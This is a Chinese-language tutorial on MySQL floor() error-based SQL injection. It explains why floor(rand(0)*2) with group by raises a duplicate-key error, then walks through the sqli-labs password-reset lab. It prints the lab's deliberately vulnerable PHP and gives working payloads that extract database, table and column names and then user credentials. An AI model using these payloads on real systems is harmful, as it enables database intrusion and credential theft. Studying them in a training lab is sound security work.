SQL报错注入之floor

目录

1.简述

2.关键函数说明

1.rand函数

2.floor(rand(0)*2)函数

[3.group by 函数](#3.group by 函数)

4.count(*)函数

3.报错分析

4.报错流程

4.1寻找注入点

4.2爆数据库名

4.3爆表名

4.4爆字段名

4.5查询数据


1.简述

利用 select count(*),(floor(rand(0)*2))x from table group by x,因为查询的结果主键不唯一,导致数据库报错,通过 concat 函数,连接注入语句与 floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。

floor报错注入有 count 、group by 、floor、rand四个关键函数

2.关键函数说明

1.rand函数

rand() 可以产生一个在0和1之间的随机数。

可见,直接使用rand函数每次产生的数都不同,但是当提供了一个固定的随机数的种子0之后:

每次产生的值都是一样的。也可以称之为伪随机(产生的数据都是可预知的)。 查看多个数据看一下。(users是一个有6行数据的表)

这样第一次产生的随机数和第二次完全一样,也就是可以预测的。 利用的时候rand(0)*2为什么要乘以 2 呢?这就要配合 floor 函数来说了。

2.floor(rand(0)*2)函数

floor() 函数的作用就是返回小于等于括号内该值的最大整数。

并且根据固定的随机数种子0,他每次产生的随机数列都是相同的0 1 1 0 1 1

3.group by 函数

group by 主要用来对数据进行分组(相同的分为一组)

首先我们在查询的时候是可以使用as用其他的名字代替显示的:

但是在实际中可以缺省as直接查询,显示的结果是一样的:

然后就可以用group by函数进行分组,并按照x进行排序

注意:最后x这列中显示的每一类只有一次,前面的a的是第一次出现的id值

4.count(*)函数

count(*)统计结果的记录数。

这里与group by结合使用看一下:

这里就是对重复性的数据进行了整合,然后计数,后面的x就是每一类的数量。

3.报错分析

首先mysql遇到该语句时会建立一个虚拟表。该虚拟表有两个字段,一个是分组的 key ,一个是计数值 count()。也就对应于实验中的 user_name 和 count( )。 然后在查询数据的时候,首先查看该虚拟表中是否存在该分组,如果存在那么计数值加1,不存在则新建该分组。

然后mysql官方有给过提示,就是查询的时候如果使用rand()的话,该值会被计算多次,那这个"被计算多次"到底是什么意思,就是在使用group by的时候,floor(rand(0)2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次,我们来看下floor(rand(0) 2)报错的过程就知道了,从上面的函数使用中可以看到在一次多记录的查询过程中floor(rand(0)*2)的值是定性的,为011011 (这个顺序很重要),报错实际上就是floor(rand(0)*2)被计算多次导致的,我们还原一下具体的查询过程:

(1)查询前默认会建立空虚拟表如下图:

(2)取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算), 0 1 1 0 1 1

(3)查询虚拟表,发现0的键值不存在,则插入新的键值的时候floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕,如下图:

(4)查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算)

(5)查询虚表,发现1的键值存在,所以floor(rand(0)2)不会被计算第二次,直接count()加1,第二条记录查询完毕,结果如下:

(6)查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算)

(7)查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,1作为虚表的主键,其值为1(第5次计算),插入

然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。

整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要最少3条数据,使用该语句才会报错的原因。

4.报错流程

4.1寻找注入点

根据页面展示是一个密码重置页面,也就是说我们已经登录系统了

php 复制代码
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);  

$passwd=$_POST['passwd'];


//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);


// connectivity 
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
	if($row)
	{
  		//echo '<font color= "#0000ff">';	
		$row1 = $row['username'];  	
		//echo 'Your Login name:'. $row1;
		$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
		mysql_query($update);
  		echo "<br>";
	
	
	
		if (mysql_error())
		{
			echo '<font color= "#FFFF00" font size = 3 >';
			print_r(mysql_error());
			echo "</br></br>";
			echo "</font>";
		}
		else
		{
			echo '<font color= "#FFFF00" font size = 3 >';
			//echo " You password has been successfully updated " ;		
			echo "<br>";
			echo "</font>";
		}
	
		echo '<img src="../images/flag1.jpg"   />';	
		//echo 'Your Password:' .$row['password'];
  		echo "</font>";
	


  	}
	else  
	{
		echo '<font size="4.5" color="#FFFF00">';
		//echo "Bug off you Silly Dumb hacker";
		echo "</br>";
		echo '<img src="../images/slap1.jpg"   />';
	
		echo "</font>";  
	}
}

然后查看我们源码,是根据我们提供的账户名去数据库查看用户名和密码,如果账户名正确那么将密码改成你输入的密码。再执行这条sql语句之前会对输入的账户名进行检查,对输入的特殊字符转义。所以我们能够利用的只有更新密码的sql语句。

4.2爆数据库名

php 复制代码
1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)y)#

根据结果得出数据库名为'security'

4.3爆表名

php 复制代码
1' and (select 1 from (select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand(0)*2))x from information_schema.tables group by x)y)#

根据结果得出表名为emails,referers,uagents,users

4.4爆字段名

根据表名知道可能用户的账户和密码是在users表中,接下来我们就是得到该表下的字段名以及内容。

php 复制代码
1' and (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),floor(rand(0)*2))x from information_schema.tables group by x)y)#

根据结果得出字段名为id,username,password

4.5查询数据

php 复制代码
1' and (select 1 from (select count(*),concat((select concat(username,id,password) from users limit 1, 1),floor(rand(0)*2))x from information_schema.tables group by x)y)#

由于查询结果过长,则可以使用limit函数来逐一爆出数据

本次floor报错注入到此结束,感兴趣的同学可以在GitHub上拉取sqli-labs-master靶场进行测试

相关推荐
兩尛1 小时前
订单状态定时处理、来单提醒和客户催单(day10)
java·前端·数据库
web2u1 小时前
MySQL 中如何进行 SQL 调优?
java·数据库·后端·sql·mysql·缓存
Elastic 中国社区官方博客2 小时前
使用 Elasticsearch 导航检索增强生成图表
大数据·数据库·人工智能·elasticsearch·搜索引擎·ai·全文检索
小金的学习笔记2 小时前
RedisTemplate和Redisson的使用和区别
数据库·redis·缓存
新知图书2 小时前
MySQL用户授权、收回权限与查看权限
数据库·mysql·安全
文城5213 小时前
Mysql存储过程(学习自用)
数据库·学习·mysql
沉默的煎蛋3 小时前
MyBatis 注解开发详解
java·数据库·mysql·算法·mybatis
呼啦啦啦啦啦啦啦啦3 小时前
【Redis】事务
数据库·redis·缓存
HaoHao_0103 小时前
AWS Serverless Application Repository
服务器·数据库·云计算·aws·云服务器
C语言扫地僧3 小时前
MySQL 事务及MVCC机制详解
数据库·mysql